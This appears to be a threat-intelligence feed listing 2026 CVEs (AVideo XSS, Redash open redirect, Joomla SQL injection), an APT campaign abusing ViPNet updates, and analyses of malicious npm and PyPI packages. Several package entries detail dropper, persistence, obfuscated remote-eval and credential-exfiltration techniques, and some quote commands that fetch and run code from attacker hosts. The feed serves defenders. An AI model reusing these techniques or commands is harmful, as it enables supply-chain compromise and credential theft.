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3,611 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | AlienVault OTX General An active APT campaign discovered in May 2026 exploits the ViPNet update system to deploy previously unknown tooling against large Russian organizations. Attackers achieve persistence through DLL sideloading, placing malicious wtsapi32.dll in ViPNet directories. The campaign employs multiple components: HelloInjector loader, HelloProxy for traffic proxying and payload delivery, HelloExecutor backdoor for command execution, HelloCleaner for log file sanitization, and HelloBackdoor written in Rust for file manipulation. Attackers conduct reconnaissance activities, establish SSH tunnels using renamed PuTTY utilities, and target government, energy, transport, education, logistics, and industrial sectors. Attribution points to an unknown Chinese-speaking APT group with low confidence based on strings referencing sina.com and Chinese package repositories. | AlienVault OTX General | |||
| Medium | 5.5 | EPSS 0.1% | CVE-2026-9494Canonical ubuntu-pro-client (ubuntu-advantage-tools) · Invocation of process using visible sensitive information Medium5.5EPSS 0.1%CVE Database V5CVE-2026-9494 An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in the cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:<token>@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can monitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim's Ubuntu Pro or Expanded Security Maintenance (ESM) repositories. | CVE Database V5 | ||
| Critical | 9.6 | EPSS 0.4% | CVE-2026-54458WWBN AVideo · Cross-site Scripting Critical9.6EPSS 0.4%CVE Database V5CVE-2026-54458 WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16. | CVE Database V5 | ||
| Medium | 4.7 | EPSS 0.2% | CVE-2026-50183WWBN AVideo · Cross-site Scripting Medium4.7EPSS 0.2%CVE Database V5CVE-2026-50183 WWBN AVideo is an open source video platform. Versions 29.0 and below contain a stored Cross-Site Scripting vulnerability in the YouTubeAPI plugin. The plugin renders the snippet.title field returned by the YouTube Data API into the homepage gallery markup with no HTML encoding. The title is set by the YouTube video uploader (anyone in the world) and is treated by AVideo as trusted content. A YouTube uploader who controls a video matching the operator's configured query injects HTML into the AVideo homepage by setting their video's title to a JavaScript-bearing string; the payload then executes in the browser of every visitor who loads any page that renders the gallery. When the visitor is an AVideo administrator, the injected JavaScript performs any admin action (create user, promote to admin, change configuration, install plugin) that uses cookie-based authentication without an additional CSRF token, escalating the bug into full administrative takeover. The payload persists for the duration of cacheTimeout (default 3600 seconds) after the malicious title is set on YouTube and survives YouTube removing the hostile video for the same window. This issue has been addressed by commit https://github.com/WWBN/AVideo/commit/7292129eaee5f609beae103b5cb387d55f17b877. | CVE Database V5 | ||
| Medium | 6.1 | EPSS 0.2% | CVE-2026-50182WWBN AVideo · Cross-site Scripting Medium6.1EPSS 0.2%CVE Database V5CVE-2026-50182 WWBN AVideo is an open source video platform. Versions prior to 29.0 contain an unauthenticated Reflected XSS vulnerability through AVideo YouTubeAPI Gallery Pagination. The $_GET['search'] query parameter is concatenated directly into the href attribute of two pagination links in plugin/YouTubeAPI/gallerySection.php (lines 67 and 74) with no htmlspecialchars, no urlencode, and no allow-list check. An injected <script> element is then extracted by the AVideo Layout plugin and concatenated into a single trailing inline script block at the bottom of the page, where the browser executes it. Any unauthenticated attacker can lure a victim into following a crafted URL to execute arbitrary JavaScript under the AVideo origin, which can read non-HttpOnly cookies and issue authenticated AJAX requests as the victim, and when the victim is an administrator, it can perform any cookie-authenticated admin action (create user, promote to admin, change configuration, install plugin), escalating a single click into full administrative takeover. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/f50fc033b7adb36f1ffd6640e7826468bdafdec3. | CVE Database V5 | ||
| Medium | 6.1 | EPSS 0.3% | CVE-2026-33213getredash redash · Open Redirect Medium6.1EPSS 0.3%CVE Database V5CVE-2026-33213 Redash is a package for data visualization and sharing. From 5.0.2 to 26.3.0, the get_next_path() function in Redash's authentication module stripped the scheme and netloc from user-supplied next parameters but did not normalize multiple leading slashes, allowing a crafted login URL such as /login?next=////evil.com to redirect users to an external attacker-controlled site after authentication. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The deployowl npm package version 2.1.0 contains malicious code that silently leaks environment variables and dependency information to a remote endpoint. The SDK captures all environment variables on error and sends them to https://api.deployowl.com/api/v1/errors, truncating only variables with certain keywords but sending others in full. Additionally, on initialization, it reads and sends the full dependency manifest and system details to the same endpoint. This behavior is not disclosed in the documentation and uses evasion techniques to avoid static analysis detection. | GCVE Database | |||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%CVE Database V5CVE-2026-58077 The 4Analytics extension for Joomla versions 1.0 through 5.0.1 contains an unauthenticated stored cross-site scripting (XSS) vulnerability. This flaw allows an attacker to inject malicious scripts via specially crafted requests without authentication. Successful exploitation may lead to website takeover under certain conditions. The vulnerability is identified as CWE-79 and carries a high severity rating with a CVSS score of 8.7. No official patch or remediation guidance is currently provided by the vendor. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%CVE Database V5CVE-2026-57831 Joomla Extension - digital-peak.com - Unauthenticated blind SQL injection in DP Calendar 8.18.0 - 10.11.2 - The Joomla extension DP Calendar is vulnerable to an unauthenticated SQL injection. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (94137fcf0aee7d8edb4e15a8bc9be4455fbdf79cb5bf99987b79f0393fdff62c) The package name typosquats the legitimate 'ethereum-input-decoder'. Its top-level __init__.py unconditionally invokes a payload routine on import: it detects OS/arch, downloads a platform-specific binary from easyswapnow.pro (Linux/macOS builds at /downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin) or a Google Drive file for Windows, writes it to disk, sets the executable bit, and runs it via subprocess.run. The same import path also installs login persistence, writing ~/.config/systemd/user/python-script.service on Linux (enabled via systemctl --user enable --now) and ~/Library/LaunchAgents/com.user.script.plist on macOS (loaded via launchctl load -w), causing the dropper to re-run at every user login. setup.py ships placeholder author metadata ('Your Name', 'your.email@example.com') and a 'Hello World on import' description, contradicting the README which advertises an eth_defi demo; none of this matches the actual dropper. The destination domain easyswapnow.pro is unrelated to the advertised Ethereum-decoding purpose. ## Source: kam193 (00437c563c5b7c2555d512f0066e6bdb5dc61300fd00027d1b5f0fc92a06d204) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - typosquatting - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - malware - persistence | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%GCVE DatabaseCVE-2026-12505 Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.22.7. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:44229 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/release_notes/ Security Fix(es): * kernel: ip6_tunnel: clear skb2->cb[] in ip4ip6_err() (CVE-2026-43037) * cifs-utils: local privilege escalation via forged cifs.spnego key description in cifs.upcall (CVE-2026-12505) * podman: Podman: Information disclosure via malicious container image environment variables (CVE-2026-57231) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.22 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html-single/updating_clusters/index#updating-cluster-cli. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7933cd1ec11531feba788870555eeac615535d8e230b4d252880def9c68ff5e) tennacity is a one-character typosquat of the popular 'tenacity' library; its README/PKG-INFO are copied verbatim from real tenacity while setup.py lists placeholder author metadata ('Your Name', your.email@example.com) and a 'prints Hello World on import' description. On import, tennacity/__init__.py branches on OS and CPU architecture to download platform-specific binaries from https://easyswapnow.pro/downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin, and a Windows payload from a Google Drive file (id 1d4zF8lnDaYCgzRrEx3WCyLTFZXVD2QBF), stages them to ~/.local/share/config, /Users/Shared/.local/config, and %TEMP%/t.jse, sets the executable bit, and invokes them via subprocess.run. It then installs login-time persistence: a systemd --user unit at ~/.config/systemd/user/python-script.service (enabled via 'systemctl --user enable --now') on Linux and a LaunchAgent at ~/Library/LaunchAgents/com.user.script.plist (loaded via 'launchctl load -w') on macOS, both re-invoking the module's Python file at every user login. The fetched binaries are unpinned, unverified, and hosted on a non-publisher domain unrelated to the package's stated Hello-World purpose. ## Source: kam193 (d1f457b8b07c4cda5c20b76c195faa127906578c1977fb00469c44a7a114f810) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - malware - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - typosquatting - persistence | GCVE Database | |||
| –Not rated | – | AlienVault OTX General ModHeader, a popular Chrome developer extension with over 800,000 users, was flagged and removed by Google for containing hidden spyware. Version 7.0.18 included a covert SDK disguised as a date library (dayjs) that harvested visited domain names, encrypted them using AES-GCM, and was configured to upload the data daily to api.stanfordstudies.com. Although the collection remained dormant due to an empty allowlist, the complete exfiltration infrastructure was present and operational. Additionally, the extension displayed active adware behavior, opening affiliate tabs on every update including on enterprise-managed machines. The malicious code shipped with official Chrome Web Store signatures, affecting both Chrome and Edge users. Forensic analysis revealed the extension locally stored 178MB of sensitive HTTP headers from all browsing activity, though no data was successfully exfiltrated from analyzed systems. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e) The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... > /dev/null 2>&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (517d465272a3a1d252e83e178bb263a1ccf600b42fed6d5aa1d110b9141fc77a) On require of index.js, a delayed IIFE reads test/fixtures/keypairs.dat, base64-decodes it into ~/.cache-db/.node-sync/syncd.js (mode 0o700), and spawns it detached under Node. The dropped payload (decoded content begins '// phantom syncd v3') recursively scans the user's home directory for files matching wallet/seed/mnemonic/private-key/keystore/API-key keywords across many extensions, RSA-encrypts the collected material with an embedded public key, and uploads it to Pinata IPFS using hardcoded PINATA_KEY/PINATA_SECRET credentials, with CIDs also fetched through gateway.pinata.cloud, ipfs.io, and cloudflare-ipfs.com. Persistence is installed per platform: a 12-hour crontab entry on Linux ('0 */12 * * * /usr/bin/node <syncd.js>'), a schtasks 'WinNodeSync' scheduled task on Windows, and a LaunchAgent plist com.apple.syncd (StartInterval 43200) on macOS, each re-executing the dropped syncd.js. The fixture-file cover name (test/fixtures/keypairs.dat) and a 37-second setTimeout delay are used to evade sandboxes and scanners. The package's advertised purpose is wallet-address helper functions; the credential-harvest and persistence behavior is not part of that surface. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b0253c4f750443ba47f0ab61347fa85a1659b847190a85757575e904966636da) On require, src/index.js loads src/token-loader.js, which reads data/design-tokens.json, XOR-decodes the base64 blobs under `_encrypted.chunks` using a key derived from the package name and version, writes the decoded JavaScript to os.tmpdir()/postcss-processor-cache/compat-<platform>-<arch>.js, and immediately require()s the result. The XOR-with-package-identity scheme exists only to defeat static scanners; the executed bytes are whatever the publisher chooses to embed. Separately, src/styles.js contains a top-level IIFE (`_cssColorProbe`) that runs on require, writes process metadata (arch, platform, execPath, pid, timestamp) to /tmp/.tailwind-color-space-v2/, and is gated by `!process.env.CI &&!process.env.TAILWIND_DISABLE_TELEMETRY` so it only fires on developer machines. The same file (lines 67-74) contains an author comment block reading 'STEALTH PAYLOAD AREA / Replace the example below with your actual virus logic. / This executes once on first build after npm install.' — the author self-identifies the location as a payload slot. The package's exported API mimics @tailwindcss/typography (identical `prose` plugin, class names, modifiers, selectors) but is published under placeholder identity ('design-systems@example.com', 'github.com/example-org/...'), positioning it as a Tailwind-typography lookalike to lure installs. Any project that installs and requires this package executes attacker-controlled JavaScript on developer (non-CI) hosts. ## Source: ghsa-malware (964d32bf7c4b15509607e1e7bce59d3c5a06ecf914bc1035f778163b0fe16e95) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9828d7f04091054759c65d427b8f9d7b2853a8a062f9ca261a37e0a0bbc231d0) Package @vite-mcp/vite-type@6.44.1 impersonates the legitimate vite package: package.json declares name '@vite-mcp/vite-type', author 'Evan You', repository 'github.com/vitejs/vite', and a bin entry 'vite' → 'bin/vite.js', while shipping a copy of the vite source tree to look authentic. Appended to bin/vite.js, after a long whitespace-padded line intended to push it past editor viewports, is an obfuscated IIFE that uses a Fisher-Yates-style string-permutation decoder keyed to the integer 4606094 to reconstruct identifiers ('require','https','get','child_process','spawn','eval','JSON.parse'). At runtime it performs an HTTPS GET and a JSON-RPC POST to a remote host, XOR-decodes the response, passes the result to eval(), and additionally invokes child_process.spawn(..., {detached:true, stdio:..., windowsHide:true}) to run the decoded payload as a hidden detached process. The loader fires whenever the shipped 'vite' bin is invoked (e.g. via 'npx vite' or a project's npm scripts), giving the publisher arbitrary remote code execution on any developer or build host that runs this CLI. Combined with the brand/author/repository impersonation of vitejs/vite, this is a deliberate supply-chain attack against developers who mistakenly install this scope. ## Source: ghsa-malware (da355f47379edd22d66678f8031fb25c0655eee3ea057eefd577666021ab8c33) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fe093d0d0fa83ab20aa57e9d9c8500e03a25ead578ff351fdc3609118cf5ecf) Package is published as `@vitets/vite-ts` and copies the legitimate Vite project's author (`Evan You`), README, homepage (`vitejs.dev`), and repository (`github.com/vitejs/vite`) to impersonate the real `vite` / `@vitejs/*` packages, and declares a `bin` entry named `vite` so consumers who install it and run the `vite` CLI execute the package's `bin/vite.js`. After ~5KB of whitespace padding, `bin/vite.js` contains an obfuscated payload that uses a custom string-scramble routine to hide identifiers (`require`, `child_process`, `spawn`, `eval`, hostnames, HTTP/JSON-RPC method names) as numeric indices into a reconstructed string table, defeating static IOC scanning. The decoded routine performs an HTTPS GET and a JSON-RPC POST to remote hosts, XORs the response with a key fetched from a second endpoint, runs `eval(r)` on the result, and additionally `child_process.spawn`s a detached background process to execute it (with `detached:true`, `windowsHide:true`). This gives the publisher arbitrary code execution on the developer's machine every time the `vite` CLI is invoked, with no integrity check on the fetched code. The package's `dist/` bundle also contains base64+Buffer decode primitives consistent with additional obfuscated payload handling. ## Source: ghsa-malware (e6fa8ee8ed2a92db620d30015fe7d672d1dd66e500b3749a71cfd1486d62ca4d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9aaf307faea8efb93af6f3c8ee4811304a7d9afa25f1c9525aed108efea439e7) Package `@vite-pro/vite-ui` impersonates the official `vite` package: `package.json` declares author `Evan You`, points `repository` at `github.com/vitejs/vite`, sets `homepage` to `vitejs.dev`, ships the upstream Vite README, and exposes a `bin` named `vite`. Appended to the end of `bin/vite.js`, after the legitimate CLI bootstrap and a large block of trailing whitespace, is an obfuscated IIFE that constructs a string table via a seeded Fisher-Yates shuffle (seed 4606094) to hide endpoints, method names, and constants. The loader then fetches a remote payload over HTTP, XOR-decrypts it with an embedded key, and `eval`s the result. It subsequently fetches a second payload and passes it to `child_process.spawn` with `detached:true`, `stdio:'ignore'`, and `windowsHide:true`, establishing a hidden, long-running process independent of the parent `vite` invocation. The loader runs every time a developer executes `vite`, `npx vite`, or `npm run dev|build`, giving the attacker arbitrary code execution and a persistent background process on the developer machine on each CLI use. The obfuscation technique (seeded string-array shuffle + XOR + eval + detached spawn) matches reported blockchain-C2 loader families. ## Source: ghsa-malware (86e8afdc046433be596684c9c50254fafe49af5b72ce9782db5f5e22d6b8293e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62) @flcik/flick.js@3.1.2 replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `"main": "index.js"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope). ## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
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